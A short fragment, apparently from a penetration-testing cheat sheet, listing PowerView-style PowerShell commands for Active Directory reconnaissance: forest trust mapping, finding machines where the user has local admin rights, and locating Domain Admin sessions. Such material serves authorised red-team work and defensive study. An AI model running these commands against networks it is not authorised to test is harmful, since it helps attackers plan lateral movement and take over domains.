#Map the Trust of the Forest Get-ForestTrust Get-ForestTrust -Forest
사용자 헌팅: ```powershell #Finds all machines on the current domain where the current user has local admin access Find-LocalAdminAccess -Verbose
#Find local admins on all machines of the domain Find-DomainLocalGroupMember -Verbose
#Find computers were a Domain Admin OR a specified user has a session Find-DomainUserLocation | Select-Object UserName, SessionFromName
#Confirming admin access Test-AdminAccess